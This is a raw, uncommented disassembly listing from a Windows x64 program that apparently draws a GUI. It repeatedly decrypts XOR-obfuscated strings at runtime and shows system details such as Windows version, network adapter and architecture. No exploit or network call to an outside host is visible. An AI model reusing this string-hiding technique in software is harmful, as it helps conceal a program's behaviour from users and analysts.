lea rcx, [rbp + 0x1e30]
cmp qword [rbp + 0x1e48], 0xf
cmova rcx, qword [rbp + 0x1e30]
call fcn.14006cdd0
mov ecx, edi
call fcn.140040920
call fcn.140040740
call fcn.140036530
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400442b0
call fcn.1400324b0
movaps xmm1, xmm10
mov rcx, r12
call fcn.140040c80
movaps xmm0, xmmword [0x1402d3cb0]
movups xmmword [rbp + 0xa30], xmm0
lea rdx, [rbp + 0xa30]
xor ecx, ecx
call fcn.140040ee0
lea rcx, [rbp + 0x1e50]
cmp qword [rbp + 0x1e68], 0xf
cmova rcx, qword [rbp + 0x1e50]
call fcn.14006cdd0
call fcn.140040740
mov ecx, edi
call fcn.140040920
call fcn.14006c730
movaps xmm1, xmm10
mov rcx, rsi
call fcn.140040c80
mov rax, qword [0x1403248f0]
mov qword [rbp + 0x310], rax
cmp byte [0x1403248f7], 0
je 0x1400f4eb0
cmp r15d, 2
jl 0x1400f4e73
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x310]
xorps xmm2, xmm1
movd dword [rbp + 0x310], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x314]
xorps xmm2, xmm1
movd dword [rbp + 0x314], xmm2
jmp 0x1400f4eb0
lea r9, [rbp + 0x310]
mov r8d, ebx
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400f4e80
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x1e70]
call fcn.140072b80
test al, al
je 0x1400f4ede
movaps xmm0, xmmword [0x1402d9230]
movups xmmword [rbp + 0xa40], xmm0
lea rdx, [rbp + 0xa40]
jmp 0x1400f4ef3
movaps xmm0, xmmword [0x140327e60]
movups xmmword [rbp + 0xa50], xmm0
lea rdx, [rbp + 0xa50]
xor ecx, ecx
call fcn.140040ee0
lea rcx, [rbp + 0x1e70]
cmp qword [rbp + 0x1e88], 0xf
cmova rcx, qword [rbp + 0x1e70]
call fcn.14006cdd0
mov ecx, edi
call fcn.140040920
call fcn.140040740
call fcn.140036530
mov ecx, edi
call fcn.1400409f0
mov rcx, r12
call fcn.140044c30
mov dword [rbp + 0x318], 0x41a00000
mov dword [rbp + 0x31c], 0x43eb0000
lea rcx, [rbp + 0x318]
call fcn.140044e30
mov rax, qword [0x1403248f8]
mov qword [rsp + 0x60], rax
cmp byte [0x1403248ff], 0
je 0x1400f50b0
cmp r15d, 2
jl 0x1400f5075
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x60]
xorps xmm2, xmm1
movd dword [rsp + 0x60], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x64]
xorps xmm2, xmm1
movd dword [rsp + 0x64], xmm2
jmp 0x1400f50b0
lea r9, [rsp + 0x60]
mov r8d, ebx
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400f5080
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0x1e30]
call fcn.140072b80
test al, al
je 0x1400f543c
mov rax, qword [0x140324900]
mov qword [rbp + 0x320], rax
cmp byte [0x140324907], 0
je 0x1400f5230
cmp r15d, 2
jl 0x1400f51f2
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
mov eax, dword [str.3333333333333333R]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x320]
xorps xmm2, xmm1
movd dword [rbp + 0x320], xmm2
movdqa xmm3, xmmword [0x140327d40]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x324]
xorps xmm2, xmm1
movd dword [rbp + 0x324], xmm2
jmp 0x1400f5230
lea r9, [rbp + 0x320]
mov r8d, ebx
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400f5200
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0x1e70]
call fcn.140072b80
test al, al
je 0x1400f543c
movups xmm0, xmmword [0x140324908]
movups xmmword [rbp + 0x1be8], xmm0
movups xmm1, xmmword [0x140324918]
movups xmmword [rbp + 0x1bf8], xmm1
movups xmm0, xmmword [0x140324928]
movups xmmword [rbp + 0x1c08], xmm0
movsd xmm0, qword [0x140324938]
movsd qword [rbp + 0x1c18], xmm0
movzx eax, word [0x140324940]
mov word [rbp + 0x1c20], ax
movzx eax, byte [0x140324942]
mov byte [rbp + 0x1c22], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400f53e5
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x1bec]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x1400f52e0
cmp r8d, 0x3b
jge 0x1400f5430
movsxd rax, r8d
lea r9, [rbp + 0x1be8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x1400f5400
lea rcx, [rbp + 0x1be8]
jmp 0x1400f5617
movups xmm0, xmmword [0x140324948]
movups xmmword [rbp + 0x1ab6], xmm0
movups xmm1, xmmword [0x140324958]
movups xmmword [rbp + 0x1ac6], xmm1
movsd xmm0, qword [0x140324968]
movsd qword [rbp + 0x1ad6], xmm0
mov eax, dword [0x140324970]
mov dword [rbp + 0x1ade], eax
movzx eax, byte [0x140324974]
mov byte [rbp + 0x1ae2], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400f55c5
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0x1aba]
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x1400f54c0
cmp r8d, 0x2d
jge 0x1400f5610
movsxd rax, r8d
lea r9, [rbp + 0x1ab6]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x32
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2d
jl 0x1400f55e0
lea rcx, [rbp + 0x1ab6]
call fcn.14006cdd0
nop
lea r9, [fcn.140065be0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x1c]
lea rcx, [rbp + 0x1e10]
call fcn.1402c1b14
nop
lea r9, [fcn.140065be0]
mov edx, reloc.WLDAP32.dll_Ordinal_32
lea r8d, [rdx - 0x18]
lea rcx, [rbp + 0x2060]
call fcn.1402c1b14
call fcn.140036530
mov dword [rbp + 0x328], 0x43af0000
mov dword [rbp + 0x32c], 0x43340000
lea rcx, [rbp + 0x328]
call fcn.140044e30
call fcn.1400324b0
xorps xmm0, xmm0
movups xmmword [rbp + 0x2160], xmm0
mov qword [rbp + 0x2170], send
mov qword [rbp + 0x2178], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.Windows_IDN:]
movsd qword [rbp + 0x2160], xmm0
mov eax, dword [0x140325540]
mov dword [rbp + 0x2168], eax
mov byte [rbp + 0x216c], 0
lea rdx, [0x14049e800]
lea rcx, [rbp + 0x2180]
call fcn.1400896b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x21a0], xmm0
mov qword [rbp + 0x21b0], rbx
mov qword [rbp + 0x21b8], rbx
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Windows_Version:
lea rcx, [rbp + 0x21a0]
call fcn.1400658e0
nop
lea rdx, [0x14049e7e0]
lea rcx, [rbp + 0x21c0]
call fcn.1400896b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x21e0], xmm0
mov qword [rbp + 0x21f0], rbx
mov qword [rbp + 0x21f8], rbx
mov r8d, reloc.WS2_32.dll_recv
lea rdx, str.Network_Adapter:
lea rcx, [rbp + 0x21e0]
call fcn.1400658e0
nop
lea rdx, [0x14049e760]
lea rcx, [rbp + 0x2200]
call fcn.1400896b0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2220], xmm0
mov qword [rbp + 0x2230], reloc.WS2_32.dll_listen
mov qword [rbp + 0x2238], reloc.WS2_32.dll_ntohs
movsd xmm0, qword [str.Architecture:]
movsd qword [rbp + 0x2220], xmm0
mov eax, dword [0x140325580]
mov dword [rbp + 0x2228], eax
movzx eax, byte [0x140325584]
mov byte [rbp + 0x222c], al
mov byte [rbp + 0x222d], 0
lea rdx, [0x14049e820]
lea rcx, [rbp + 0x2240]
call fcn.1400896b0
nop
call fcn.14006c730
call fcn.14006c730
movaps xmm0, xmmword [0x1402dae40]
movdqa xmmword [rsp + 0x60], xmm0
lea r8, [rsp + 0x60]
mov rdx, r13
lea rcx, str.Windows
call fcn.140093de0
call fcn.14006c730
lea rbx, [rbp + 0x2180]
mov edi, 4
movaps xmm1, xmm10
mov rcx, r12
call fcn.140040c80
movaps xmm0, xmmword [0x1402d3cb0]
movups xmmword [rbp + 0xa70], xmm0
lea rdx, [rbp + 0xa70]
xor ecx, ecx
call fcn.140040ee0
lea rcx, [rbx - 0x20]
cmp qword [rbx - 8], 0xf
jbe 0x1400f5839
mov rcx, qword [rcx]
call fcn.14006cdd0
call fcn.140040740
mov ecx, 1
call fcn.140040920
call fcn.14006c730
movaps xmm1, xmm10
mov rcx, rsi
call fcn.140040c80
movaps xmm0, xmmword [0x1402d3ca0]
movups xmmword [rbp + 0xa80], xmm0
lea rdx, [rbp + 0xa80]
xor ecx, ecx
call fcn.140040ee0
mov rcx, rbx
cmp qword [rbx + 0x18], 0xf
jbe 0x1400f5887
mov rcx, qword [rbx]
call fcn.14006cdd0
call fcn.140040740
mov ecx, 1
call fcn.140040920
add rbx, 0x40
sub rdi, 1
jne 0x1400f5803
lea r9, [fcn.140065be0]
lea edx, [rdi + 0x20]
lea r8d, [rdi + 8]
lea rcx, [rbp + 0x2160]
call fcn.1402c1b14
call fcn.140036530
mov esi, 1
mov ecx, esi
call fcn.1400409f0
mov dword [rbp + 0x330], 0x4405c000
mov dword [rbp + 0x334], 0x40a00000
lea rcx, [rbp + 0x330]
call fcn.140044e30
movaps xmm1, xmm10
mov rbx, qword [rbp + 0xc0]
mov rcx, rbx
call fcn.140040c80
movaps xmm0, xmmword [0x140327e90]
movaps xmm1, xmmword [0x140327eb0]
mov dword [rbp + 0x338], 0x42200000
mov dword [rbp + 0x33c], 0x42200000
movzx eax, word [0x140324978]
mov word [rbp - 0x5c], ax
cmp byte [0x140324979], dil
je 0x1400f5945
mov byte [rbp - 0x5c], reloc.WLDAP32.dll_Ordinal_45
xor byte [rbp - 0x5b], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9b90]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9b88]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9b80]
xor r8d, r8d
lea rdx, [rbp + 0x338]
lea rcx, [rbp - 0x5c]
call fcn.1400706b0
test al, al
je 0x1400f59b6
xor r9d, r9d
mov edx, 0x112
mov r8d, 0xf020
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_SendMessageW]
mov dword [rbp + 0x340], 0x44124000
mov dword [rbp + 0x344], 0x40a00000
lea rcx, [rbp + 0x340]
call fcn.140044e30
movaps xmm0, xmmword [0x140327e90]
movaps xmm1, xmmword [0x140327e70]
mov dword [rbp + 0x348], 0x42200000
mov dword [rbp + 0x34c], 0x42200000
movzx eax, word [0x14032497c]
mov word [rbp - 0x5a], ax
cmp byte [0x14032497d], 0
je 0x1400f5a14
mov byte [rbp - 0x5a], 0x78
xor byte [rbp - 0x59], 0x34
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x70], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9ba8]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9ba0]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9b98]
xor r8d, r8d
lea rdx, [rbp + 0x348]
lea rcx, [rbp - 0x5a]
call fcn.1400706b0
test al, al
jne 0x1400fe719
call fcn.140040740
mov eax, dword [0x14049f068]
xor edi, edi
jmp 0x1400f5a84
mov rbx, qword [rbp + 0xc0]
cmp eax, 1
jne 0x1400f94d0
mov dword [rbp + 0x350], 0x41700000
mov dword [rbp + 0x354], 0x40a00000
lea rcx, [rbp + 0x350]
call fcn.140044e30
movaps xmm1, xmm10
mov rcx, r13
call fcn.140040c80
cmp dword [0x14049f06c], 0
sete cl
movaps xmm2, xmmword [0x140327e90]
movaps xmm1, xmmword [0x1402d3cb0]
mov dword [rbp + 0x358], 0x42d20000
mov dword [rbp + 0x35c], 0x42200000
movsd xmm0, qword [0x140324980]
movsd qword [rbp + 0x68e], xmm0
movzx eax, byte [0x140324988]
mov byte [rbp + 0x68e], 0x41
xor byte [rbp + 0x68f], 0x34
xor byte [rbp + 0x690], 0x35
xor byte [rbp + 0x691], 0x36
xor byte [rbp + 0x692], 0x37
xor byte [rbp + 0x693], 0x38
xor byte [rbp + 0x694], 0x39
xor byte [rbp + 0x695], 0x3a
xor al, 0x3b
mov byte [rbp + 0x696], al
movdqa xmmword [rsp + 0x60], xmm2
movdqa xmmword [rsp + 0x70], xmm1
mov byte [rsp + 0x48], cl
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [0x14049f138]
mov qword [rsp + 0x30], rax
lea rax, [0x14049f130]
mov qword [rsp + 0x28], rax
lea rax, [0x14049f128]
mov qword [rsp + 0x20], rax
lea r9, [0x14049f120]
xor r8d, r8d
lea rdx, [rbp + 0x358]
lea rcx, [rbp + 0x68e]
call fcn.140070ff0
test al, al
je 0x1400f5bb5
mov dword [0x14049f06c], edi
mov dword [0x14049f078], 0
mov dword [rbp + 0x360], 0x43020000
mov dword [rbp + 0x364], 0x40a00000
lea rcx, [rbp + 0x360]
call fcn.140044e30
cmp dword [0x14049f06c], 1
sete dl
movaps xmm1, xmmword [0x140327e90]
movaps xmm0, xmmword [0x1402d3cb0]
mov dword [rbp + 0x368], 0x428c0000
mov dword [rbp + 0x36c], 0x42200000
mov eax, dword [0x14032498c]
mov dword [rbp + 0xa4], eax
movzx ecx, word [0x140324990]
mov word [rbp + 0xa8], cx
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0xa4], Ordinal_79
xor byte [rbp + 0xa5], 0x34
xor byte [rbp + 0xa6], 0x35
xor byte [rbp + 0xa7], 0x36
xor cl, 0x37
mov byte [rbp + 0xa8], cl
xor byte [rbp + 0xa9], 0x38
xor al, 0x39
mov byte [rbp + 0xaa], al
movdqa xmmword [rsp + 0x60], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x48], dl
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x38], rax
lea rax, [0x1404b9bc8]
mov qword [rsp + 0x30], rax
lea rax, [0x1404b9bc0]
mov qword [rsp + 0x28], rax
lea rax, [0x1404b9bb8]
mov qword [rsp + 0x20], rax
lea r9, [0x1404b9bb0]
xor r8d, r8d
lea rdx, [rbp + 0x368]
lea rcx, [rbp + 0xa4]
call fcn.140070ff0
test al, al
je 0x1400f5ccf
mov dword [0x14049f06c], esi
mov dword [0x14049f078], 0
call fcn.140040740
movaps xmm1, xmm15
subss xmm1, dword [0x14049f078]
mulss xmm1, xmm7
addss xmm1, dword [0x14049f078]
movss dword [0x14049f078], xmm1
xor ecx, ecx
call fcn.140041020
mov dword [rbp + 0x370], 0
mov dword [rbp + 0x374], 0x42700000
lea rcx, [rbp + 0x370]
call fcn.140044e30
mov dword [rbp + 0x378], 0x441ec000
mov dword [rbp + 0x37c], 0x43f00000
movsd xmm0, qword [0x140324998]
movsd qword [rbp + 0x697], xmm0
movzx eax, byte [0x1403249a0]
mov byte [rbp + 0x697], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x698], 0x34
xor byte [rbp + 0x699], 0x35
xor byte [rbp + 0x69a], 0x36
xor byte [rbp + 0x69b], 0x37
xor byte [rbp + 0x69c], 0x38
xor byte [rbp + 0x69d], 0x39
xor byte [rbp + 0x69e], 0x3a
xor al, 0x3b
mov byte [rbp + 0x69f], al
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x378]
lea rcx, [rbp + 0x697]
call fcn.140032110
cmp dword [0x14049f06c], 0
jne 0x1400f8dcc
movaps xmm0, xmmword [0x140327e30]
movups xmmword [rbp + 0xa90], xmm0
lea rdx, [rbp + 0xa90]
mov ecx, 3
call fcn.140040ee0
mov qword [rbp + 0x380], 0x40a00000
lea rdx, [rbp + 0x380]
mov ecx, reloc.WS2_32.dll_ntohl
call fcn.140040f40
movaps xmm1, xmm15
mov ecx, 7
call fcn.140041020
mov dword [rbp + 0x388], 0x41a00000
mov dword [rbp + 0x38c], 0x41a00000
lea rcx, [rbp + 0x388]
call fcn.140044e30
mov rcx, qword [0x1404b8be0]
mov rax, qword [rcx + 0x3ed0]
mov byte [rax + 0xb0], 1
mov rdi, qword [rcx + 0x3ed0]
movss xmm7, dword [rdi + 0xf8]
movss xmm6, dword [rdi + 0xfc]
movaps xmm3, xmm9
movaps xmm2, xmm12
movaps xmm0, xmm12
unpcklps xmm0, xmm9
movq rdx, xmm0
lea rcx, [rbp + 0x390]
call fcn.140032bd0
movaps xmm1, xmm6
addss xmm1, dword [rbp + 0x394]
movaps xmm0, xmm7
addss xmm0, dword [rbp + 0x390]
movss dword [rbp + 0xaa0], xmm7
movss dword [rbp + 0xaa4], xmm6
movss dword [rbp + 0xaa8], xmm0
movss dword [rbp + 0xaac], xmm1
mov rbx, qword [rdi + 0x290]
mov qword [rbp + 0x398], 0
movaps xmm0, xmmword [0x1402dae40]
movups xmmword [rbp + 0xab0], xmm0
lea rcx, [rbp + 0xab0]
call fcn.140034770
movss dword [rsp + 0x38], xmm11
mov dword [rsp + 0x30], 0x200
lea rcx, [rbp + 0x398]
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm14
mov r9d, eax
lea r8, [rbp + 0xaa8]
lea rdx, [rbp + 0xaa0]
mov rcx, rbx
call fcn.14004f2d0
mov dword [rbp + 0x3a0], 0x438e8000
mov dword [rbp + 0x3a4], 0x42b40000
mov eax, dword [0x1403249a4]
mov dword [rbp + 0x68], eax
movzx eax, word [0x1403249a8]
mov word [rbp + 0x6c], ax
mov byte [rbp + 0x68], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x69], 0x34
xor byte [rbp + 0x6a], 0x35
xor byte [rbp + 0x6b], 0x36
xor al, 0x37
mov byte [rbp + 0x6c], al
xor byte [rbp + 0x6d], 0x38
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x3a0]
lea rcx, [rbp + 0x68]
call fcn.140032110
mov rcx, qword [rbp + 0x640]
call fcn.140044c30
mov eax, dword [str._G_VT9]
mov dword [rbp + 0x88], eax
movzx ecx, word [0x1403249b0]
mov word [rbp + 0x8c], cx
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp + 0x88], Ordinal_79
xor byte [rbp + 0x89], 0x34
xor byte [rbp + 0x8a], 0x35
xor byte [rbp + 0x8b], 0x36
xor cl, 0x37
mov byte [rbp + 0x8c], cl
xor byte [rbp + 0x8d], 0x38
xor al, 0x39
mov byte [rbp + 0x8e], al
movss xmm1, dword [0x1402d3d84]
lea rcx, [rbp + 0x88]
call fcn.1400716a0
mov rcx, r13
call fcn.140044c30
movaps xmm0, xmmword [0x140327e60]
movups xmmword [rbp + 0xac0], xmm0
lea rdx, [rbp + 0xac0]
xor ecx, ecx
call fcn.140040ee0
movups xmm0, xmmword [0x1403249b8]
movups xmmword [rbp + 0xd01], xmm0
mov eax, dword [0x1403249c8]
mov dword [rbp + 0xd11], eax
movzx eax, byte [0x1403249cc]
mov byte [rbp + 0xd15], al
xor r8d, r8d
cmp r15d, 2
jl 0x1400f6165
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm0, xmmword [str.3333333333333333R]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rbp + 0xd05]
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140327dc0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
